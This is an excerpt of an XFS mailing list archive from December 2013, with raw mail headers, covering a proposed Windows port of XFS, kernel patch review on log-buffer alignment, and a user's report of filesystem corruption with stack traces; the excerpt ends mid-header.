Re: XFS...Windows? Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Originating-IP: [66.87.149.187] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1386607340 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142962 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Just to be clear about what's being discussed here:=20 The proposal is to create a *windows* filesystem driver to allow Windows machines to read and write locally-attached XFS filesystems, correct? Presumably, such filesystems would be device-portable to Linux or other machines also running XFS? Cheers, -- jr 'will ask stupid questions for food' a ----- Original Message ----- > From: "Shaun Gosse" > To: "Yuji Saeki" , xfs@oss.sgi.com > Sent: Monday, December 9, 2013 11:16:38 AM > Subject: RE: XFS...Windows? > Well=E2=80=A6at the risk of jumping into something here: >=20 > =E2=80=9Cwould SGI be okay with that=E2=80=9D: keep in mind this a commun= ity project. > There are contributors to XFS here at SGI. There is also a lot of work > done by employees of Redhat as well as other companies (and a few > freelance / people interested regardless of current position). Anyhow, > just a quibble to note that it=E2=80=99s not a question of what SGI dicta= tes. > Although I will note that I=E2=80=99ve actually raised the idea of XFS on > Windows internally (here at SGI) and while it=E2=80=99s not a priority I = would > say there=E2=80=99s at least some interest. At the least, if you build it= , > we=E2=80=99ll certainly take a look at it. =E2=98=BA >=20 > I saw an email a while back on this list that implied someone was > trying to work on that iirc; I didn=E2=80=99t see any follow-up from it. = There > are also some projects that look abandoned which tried to do this I > recall from previous searches on this. >=20 > One of the suggestions I heard when I was considering this was to look > at how the ext port on Windows works. That looks mildly inactive > itself but should be good for comparison. >=20 > Internally, SGI has a proprietary system, CXFS, which does clustered > XFS including Windows as client nodes. So we=E2=80=99ve got code that act= ually > does XFS data writes from Windows nodes. Of course, the tricky bit is > managing all of the metadata/logging, which isn=E2=80=99t touched from Wi= ndows > in that system, but it=E2=80=99s just another tidbit to note =E2=80=9Cyes= , this type > of system should be possible=E2=80=9D. >=20 > As far as licensing, I=E2=80=99m certainly no expert, but AFAIK it should= be > possible to use the same GPL license as you note and make an > open-source Windows driver for this using as much of the current XFS > code as is convenient. There are nuances in the license though. I can > try to find the article if you=E2=80=99re interested: I read a post previ= ously > by someone who had developed a GPL driver on Windows and was noting > concerns about linking against closed source libraries (essentially > decided it was okay because it (a) could be considered a system > library and (b) they were starting a fresh project so they could add > extra exemptions specifically allowing that). >=20 > I am a novice at XFS and, frankly, at Windows kernel device > development as well. But I=E2=80=99m certainly interested in seeing a GPL > XFS-on-Windows developed at some point. If you go ahead with this, I=E2= =80=99d > definitely appreciate any information and would be glad to assist in > any way I can. And myself personally, I=E2=80=99d absolutely appreciate > someone else taking the lead on this, because with other issues I=E2=80= =99m > working on, I would be unlikely to put serious solo effort into this > anytime soon. >=20 > Cheers, > -Shaun Gosse > CXFS Windows > SGI >=20 > From: xfs-bounces@oss.sgi.com [mailto:xfs-bounces@oss.sgi.com] On > Behalf Of Yuji Saeki > Sent: Sunday, December 08, 2013 5:25 PM > To: xfs@oss.sgi.com > Subject: XFS...Windows? >=20 > Congratulations on your file system, it=E2=80=99s quite nice. I=E2=80=99v= e benchmarked > it myself, it=E2=80=99s very impressive. I=E2=80=99m curious though, is t= here are > thought to a Windows driver? If someone ported the most current-stable > version to Windows (free) under the same license =E2=80=98GNU Lesser Gene= ral > Public License=E2=80=99 with entire credit to XFS, would SGI be okay with > that? A =E2=80=98no-warranty implied=E2=80=99 (etc) kind of protection of= course. > Quite a few devs that I work with enjoy the XFS filesystem and we dev > in both Linux and Windows. We=E2=80=99re very interested in making this h= appen > with respect to the XFS project. >=20 > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs --=20 Make Election Day a federal holiday: http://wh.gov/lBm94 100k sigs by 12/1= 4 Jay R. Ashworth Baylink jra@baylink.= com Designer The Things I Think RFC 2= 100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover = DII St Petersburg FL USA #natog +1 727 647 1= 274 From BATV+15db0817d0eb2260d79e+3760+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 9 12:16:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3FF377F6F for ; Mon, 9 Dec 2013 12:16:18 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1C2068F804B for ; Mon, 9 Dec 2013 10:16:14 -0800 (PST) X-ASG-Debug-ID: 1386612973-04cb6c537c647a00001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id LkgyXtEaKPCybNnZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 09 Dec 2013 10:16:13 -0800 (PST) X-Barracuda-Envelope-From: BATV+15db0817d0eb2260d79e+3760+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vq5NM-0006qJ-Uu; Mon, 09 Dec 2013 18:16:12 +0000 Date: Mon, 9 Dec 2013 10:16:12 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 04/11] xfs: add xfs_ilock_attr_map_shared Message-ID: <20131209181612.GA22183@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 04/11] xfs: add xfs_ilock_attr_map_shared References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.663030833@bombadil.infradead.org> <20131208223610.GE31386@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131208223610.GE31386@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386612973 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142965 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 09, 2013 at 09:36:10AM +1100, Dave Chinner wrote: > > + /* > > + * Even after flushing the inode, there can still be > > + * delalloc blocks on the inode beyond EOF due to > > + * speculative reallocation. These are not removed > > "speculative preallocation" I just re-indented the comment, the wording is the original one. Maybe we'll get a commit that cares enought to fix it on the fly.. From bpm@sgi.com Mon Dec 9 12:52:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7024A7F72 for ; Mon, 9 Dec 2013 12:52:56 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 42F1A304048; Mon, 9 Dec 2013 10:52:56 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 1C7574266DC; Mon, 9 Dec 2013 12:52:56 -0600 (CST) Date: Mon, 9 Dec 2013 12:52:56 -0600 From: Ben Myers To: Christoph Hellwig Cc: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 04/11] xfs: add xfs_ilock_attr_map_shared Message-ID: <20131209185256.GV1935@sgi.com> References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.663030833@bombadil.infradead.org> <20131208223610.GE31386@dastard> <20131209181612.GA22183@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131209181612.GA22183@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Dec 09, 2013 at 10:16:12AM -0800, Christoph Hellwig wrote: > On Mon, Dec 09, 2013 at 09:36:10AM +1100, Dave Chinner wrote: > > > + /* > > > + * Even after flushing the inode, there can still be > > > + * delalloc blocks on the inode beyond EOF due to > > > + * speculative reallocation. These are not removed > > > > "speculative preallocation" > > I just re-indented the comment, the wording is the original one. Maybe > we'll get a commit that cares enought to fix it on the fly.. Sure... From bpm@sgi.com Mon Dec 9 13:00:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 085127F75 for ; Mon, 9 Dec 2013 13:00:29 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id CA2C68F8064; Mon, 9 Dec 2013 11:00:28 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 8E8384266DC; Mon, 9 Dec 2013 13:00:28 -0600 (CST) Date: Mon, 9 Dec 2013 13:00:28 -0600 From: Ben Myers To: Christoph Hellwig , Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 06/10] xfs: format log items write directly into the linear CIL buffer Message-ID: <20131209190028.GW1935@sgi.com> References: <20131129083919.207915844@bombadil.infradead.org> <20131129084001.028583376@bombadil.infradead.org> <20131204003712.GE10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131204003712.GE10988@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Dec 04, 2013 at 11:37:12AM +1100, Dave Chinner wrote: > On Fri, Nov 29, 2013 at 12:39:25AM -0800, Christoph Hellwig wrote: > > Instead of setting up pointers to memory locations in iop_format which then > > get copied into the CIL linear buffer after return move the copy into > > the individual inode items. This avoids the need to always have a memory > > block in the exact same layout that gets written into the log around, and > > allow the log items to be much more flexible in their in-memory layouts. > > > > Note that all log item format routines now need to be careful to modify > > the copy of the item that was placed into the CIL after calls to > > xlog_copy_iovec instead of the in-memory copy. > > > > Signed-off-by: Christoph Hellwig > > */ > > base_size = xfs_buf_log_format_size(blfp); > > > > - nvecs = 0; > > first_bit = xfs_next_bit(blfp->blf_data_map, blfp->blf_map_size, 0); > > if (!(bip->bli_flags & XFS_BLI_STALE) && first_bit == -1) { > > /* > > * If the map is not be dirty in the transaction, mark > > * the size as zero and do not advance the vector pointer. > > */ > > - goto out; > > + return; > > } > > > > - xlog_copy_iovec(vecp, XLOG_REG_TYPE_BFORMAT, blfp, base_size); > > - nvecs = 1; > > + blfp = xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_BFORMAT, blfp, base_size); > > + blfp->blf_size = 1; > > Hmmmm. What guarantee do we have blf_size is now natuarally aligned? > We've returned a pointer that could have any offset into the logvec > buffer, and so some platforms are going to have problems if blfp is > at an address that is not a multiple of 4 or 8, right? > > > xfs_inode_item_format_data_fork( > > struct xfs_inode_log_item *iip, > > - struct xfs_log_iovec **vecp, > > - int *nvecs) > > + struct xfs_inode_log_format *ilf, > > + struct xfs_log_vec *lv, > > + struct xfs_log_iovec **vecp) > > { > > struct xfs_inode *ip = iip->ili_inode; > > size_t data_bytes; > > @@ -239,19 +241,19 @@ xfs_inode_item_format_data_fork( > > * extents, so just point to the > > * real extents array. > > */ > > - xlog_copy_iovec(vecp, XLOG_REG_TYPE_IEXT, > > + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_IEXT, > > ip->i_df.if_u1.if_extents, > > ip->i_df.if_bytes); > > - iip->ili_format.ilf_dsize = ip->i_df.if_bytes; > > + ilf->ilf_dsize = ip->i_df.if_bytes; > > And by the looks of it, we could have the same problems here? > > > diff --git a/fs/xfs/xfs_log.h b/fs/xfs/xfs_log.h > > index 384c6c4..e04bd0c 100644 > > --- a/fs/xfs/xfs_log.h > > +++ b/fs/xfs/xfs_log.h > > @@ -31,18 +31,44 @@ struct xfs_log_vec { > > #define XFS_LOG_VEC_ORDERED (-1) > > > > static inline void * > > -xlog_copy_iovec(struct xfs_log_iovec **vecp, uint type, void *data, int len) > > +xlog_prepare_iovec(struct xfs_log_vec *lv, struct xfs_log_iovec **vecp, > > + uint type) > > { > > struct xfs_log_iovec *vec = *vecp; > > > > + if (vec) { > > + ASSERT(vec - lv->lv_iovecp < lv->lv_niovecs); > > + vec++; > > + } else { > > + vec = &lv->lv_iovecp[0]; > > + } > > + > > vec->i_type = type; > > - vec->i_addr = data; > > - vec->i_len = len; > > + vec->i_addr = lv->lv_buf + lv->lv_buf_len; > > We could at least check here that the alignment is good... > > > > > - *vecp = vec + 1; > > + *vecp = vec; > > return vec->i_addr; > > } > > > > +static inline void > > +xlog_finish_iovec(struct xfs_log_vec *lv, struct xfs_log_iovec *vec, int len) > > +{ > > + lv->lv_buf_len += len; > > And if we need to guarantee alignment, then maybe roundup here to > ensure we don't end up with bad offsets? That would require padding > the allocation of the buffer to take it into account, too.... > > Other than this concern, the code looks fine. Christoph, what about this alignment issue? Thanks, Ben From sandeen@sandeen.net Mon Dec 9 13:04:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AD20F7F75 for ; Mon, 9 Dec 2013 13:04:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9A9CF304043 for ; Mon, 9 Dec 2013 11:04:38 -0800 (PST) X-ASG-Debug-ID: 1386615877-04cb6c537d64a5f0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id teTAbb8sP1eS5ajU for ; Mon, 09 Dec 2013 11:04:37 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id A93556891955; Mon, 9 Dec 2013 13:04:36 -0600 (CST) Message-ID: <52A6143D.7050002@sandeen.net> Date: Mon, 09 Dec 2013 13:04:29 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Mike Dacre , xfs@oss.sgi.com Subject: Re: Sudden File System Corruption References: X-ASG-Orig-Subj: Re: Sudden File System Corruption In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1386615877 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142966 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/4/13, 8:55 PM, Mike Dacre wrote: > Hi Folks, > > Apologies if this is the wrong place to post or if this has been answered already. > > I have a 16 2TB drive RAID6 array powered by an LSI 9240-4i. It has an XFS filesystem and has been online for over a year. It is accessed by 23 different machines connected via Infiniband over NFS v3. I haven't had any major problems yet, one drive failed but it was easily replaced. > > However, today the drive suddenly stopped responding and started returning IO errors when any requests were made. This happened while it was being accessed by 5 different users, one was doing a very large rm operation (rm *sh on thousands on files in a directory). Also, about 30 minutes before we had connected the globus connect endpoint to allow easy file transfers to SDSC. > > I rebooted the machine which hosts it and checked the RAID6 logs, no physical problems with the drives at all. I tried to mount and got the following error: > > XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1510 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa0432ba1 > mount: Structure needs cleaning I've seen a similar problem w/ a customer on a similar (proper) RHEL6 kernel. Just to rule something in or out, do you regularly use xfs_fsr on this filesystem? Is this something you can reliably reproduce? thanks, -Eric > I ran xfs_check and got the following message: > ERROR: The filesystem has valuable metadata changes in a log which needs to > be replayed. Mount the filesystem to replay the log, and unmount it before > re-running xfs_check. If you are unable to mount the filesystem, then use > the xfs_repair -L option to destroy the log and attempt a repair. > Note that destroying the log may cause corruption -- please attempt a mount > of the filesystem before doing this. > > > I checked the log and found the following message: > > Dec 4 18:26:33 fruster kernel: XFS (sda1): Mounting Filesystem > Dec 4 18:26:33 fruster kernel: XFS (sda1): Starting recovery (logdev: internal) > Dec 4 18:26:36 fruster kernel: XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1510 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa0432ba1 > Dec 4 18:26:36 fruster kernel: > Dec 4 18:26:36 fruster kernel: Pid: 5491, comm: mount Not tainted 2.6.32-358.23.2.el6.x86_64 #1 > Dec 4 18:26:36 fruster kernel: Call Trace: > Dec 4 18:26:36 fruster kernel: [] ? xfs_error_report+0x3f/0x50 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? xfs_free_extent+0x101/0x130 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? xfs_free_ag_extent+0x58b/0x750 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? xfs_free_extent+0x101/0x130 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? xlog_recover_process_efi+0x1bd/0x200 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? xfs_trans_ail_cursor_set+0x1a/0x30 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? xlog_recover_process_efis+0x62/0xc0 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? xlog_recover_finish+0x24/0xd0 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? xfs_log_mount_finish+0x2c/0x30 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? xfs_mountfs+0x421/0x6a0 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? xfs_fs_fill_super+0x224/0x2e0 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? get_sb_bdev+0x18e/0x1d0 > Dec 4 18:26:36 fruster kernel: [] ? xfs_fs_fill_super+0x0/0x2e0 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? xfs_fs_get_sb+0x18/0x20 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? vfs_kern_mount+0x7b/0x1b0 > Dec 4 18:26:36 fruster kernel: [] ? do_kern_mount+0x52/0x130 > Dec 4 18:26:36 fruster kernel: [] ? do_mount+0x2d2/0x8d0 > Dec 4 18:26:36 fruster kernel: [] ? sys_mount+0x90/0xe0 > Dec 4 18:26:36 fruster kernel: [] ? system_call_fastpath+0x16/0x1b > Dec 4 18:26:36 fruster kernel: XFS (sda1): Failed to recover EFIs > Dec 4 18:26:36 fruster kernel: XFS (sda1): log mount finish failed > > > I went back and looked at the log from around the time the drive died and found this message: > Dec 4 17:58:16 fruster kernel: XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1510 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa0432ba1 > Dec 4 17:58:16 fruster kernel: > Dec 4 17:58:16 fruster kernel: Pid: 4548, comm: nfsd Not tainted 2.6.32-358.23.2.el6.x86_64 #1 > Dec 4 17:58:16 fruster kernel: Call Trace: > Dec 4 17:58:16 fruster kernel: [] ? xfs_error_report+0x3f/0x50 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? xfs_free_extent+0x101/0x130 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? xfs_free_ag_extent+0x58b/0x750 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? xfs_free_extent+0x101/0x130 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? xfs_bmap_finish+0x15d/0x1a0 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? xfs_itruncate_finish+0x15f/0x320 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? xfs_inactive+0x330/0x480 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? _xfs_trans_commit+0x214/0x2a0 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? xfs_fs_clear_inode+0xa0/0xd0 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? clear_inode+0xac/0x140 > Dec 4 17:58:16 fruster kernel: [] ? generic_delete_inode+0x196/0x1d0 > Dec 4 17:58:16 fruster kernel: [] ? generic_drop_inode+0x65/0x80 > Dec 4 17:58:16 fruster kernel: [] ? iput+0x62/0x70 > Dec 4 17:58:16 fruster kernel: [] ? dentry_iput+0x90/0x100 > Dec 4 17:58:16 fruster kernel: [] ? d_delete+0xe8/0xf0 > Dec 4 17:58:16 fruster kernel: [] ? vfs_unlink+0xd9/0xf0 > Dec 4 17:58:16 fruster kernel: [] ? nfsd_unlink+0x1af/0x250 [nfsd] > Dec 4 17:58:16 fruster kernel: [] ? nfsd3_proc_remove+0x83/0x120 [nfsd] > Dec 4 17:58:16 fruster kernel: [] ? nfsd_dispatch+0xfe/0x240 [nfsd] > Dec 4 17:58:16 fruster kernel: [] ? svc_process_common+0x344/0x640 [sunrpc] > Dec 4 17:58:16 fruster kernel: [] ? default_wake_function+0x0/0x20 > Dec 4 17:58:16 fruster kernel: [] ? svc_process+0x110/0x160 [sunrpc] > Dec 4 17:58:16 fruster kernel: [] ? nfsd+0xc2/0x160 [nfsd] > Dec 4 17:58:16 fruster kernel: [] ? nfsd+0x0/0x160 [nfsd] > Dec 4 17:58:16 fruster kernel: [] ? kthread+0x96/0xa0 > Dec 4 17:58:16 fruster kernel: [] ? child_rip+0xa/0x20 > Dec 4 17:58:16 fruster kernel: [] ? kthread+0x0/0xa0 > Dec 4 17:58:16 fruster kernel: [] ? child_rip+0x0/0x20 > Dec 4 17:58:16 fruster kernel: XFS (sda1): xfs_do_force_shutdown(0x8) called from line 3863 of file fs/xfs/xfs_bmap.c. Return address = 0xffffffffa043c8d6 > Dec 4 17:58:16 fruster kernel: XFS (sda1): Corruption of in-memory data detected. Shutting down filesystem > Dec 4 17:58:16 fruster kernel: XFS (sda1): Please umount the filesystem and rectify the problem(s) > Dec 4 17:58:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 17:58:49 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 17:59:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 17:59:49 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 18:00:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 18:00:49 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 18:01:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 18:01:49 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 18:02:05 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 18:02:05 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 18:02:05 fruster kernel: XFS (sda1): xfs_do_force_shutdown(0x1) called from line 1061 of file fs/xfs/linux-2.6/xfs_buf.c. Return address = 0xffffffffa04856e3 > Dec 4 18:02:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > > > I have attached the complete log from the time it died until now. > > In the end, I successfully repaired the filesystem with `xfs_repair -L /dev/sda1`. However, I am nervous that some files may have been corrupted. > > Do any of you have any idea what could have caused this problem? > > Thanks, > > Mike > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From bpm@sgi.com Mon Dec 9 13:45:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 748E27F7C for ; Mon, 9 Dec 2013 13:45:49 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id E5DF7AC009; Mon, 9 Dec 2013 11:45:48 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 928294266DC; Mon, 9 Dec 2013 13:45:48 -0600 (CST) Date: Mon, 9 Dec 2013 13:45:48 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 01/10] xfs: remove duplicate code in xlog_cil_insert_format_items Message-ID: <20131209194548.GX1935@sgi.com> References: <20131129083919.207915844@bombadil.infradead.org> <20131129084000.123386171@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131129084000.123386171@bombadil.infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) Christoph, On Fri, Nov 29, 2013 at 12:39:20AM -0800, Christoph Hellwig wrote: > Share code that was previously duplicated in two branches. > > Signed-off-by: Christoph Hellwig > --- > fs/xfs/xfs_log_cil.c | 33 +++++++++++++-------------------- > 1 file changed, 13 insertions(+), 20 deletions(-) > > diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c > index 5eb51fc..0a7a8ce 100644 > --- a/fs/xfs/xfs_log_cil.c > +++ b/fs/xfs/xfs_log_cil.c > @@ -254,29 +254,22 @@ xlog_cil_insert_format_items( > */ > *diff_iovecs -= lv->lv_niovecs; > *diff_len -= lv->lv_buf_len; > - > - /* Ensure the lv is set up according to ->iop_size */ > - lv->lv_niovecs = niovecs; > - lv->lv_buf = (char *)lv + buf_size - nbytes; > - > - lv->lv_buf_len = xlog_cil_lv_item_format(lip, lv); > - goto insert; > + } else { > + /* allocate new data chunk */ > + lv = kmem_zalloc(buf_size, KM_SLEEP|KM_NOFS); > + lv->lv_item = lip; > + lv->lv_size = buf_size; > + if (ordered) { > + /* track as an ordered logvec */ > + ASSERT(lip->li_lv == NULL); > + lv->lv_buf_len = XFS_LOG_VEC_ORDERED; > + goto insert; It looks like lv->lv_niovecs is no longer being set in this case. Was that intentional? Thanks, Ben From stan@hardwarefreak.com Mon Dec 9 13:51:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CB6897F7C for ; Mon, 9 Dec 2013 13:51:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id AB18C8F8039 for ; Mon, 9 Dec 2013 11:51:19 -0800 (PST) X-ASG-Debug-ID: 1386618678-04cb6c537b64d3a0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id s3fED49BcAMDIzXC for ; Mon, 09 Dec 2013 11:51:18 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 77F526C15E; Mon, 9 Dec 2013 13:51:18 -0600 (CST) Message-ID: <52A61F3A.7040504@hardwarefreak.com> Date: Mon, 09 Dec 2013 13:51:22 -0600 From: Stan Hoeppner 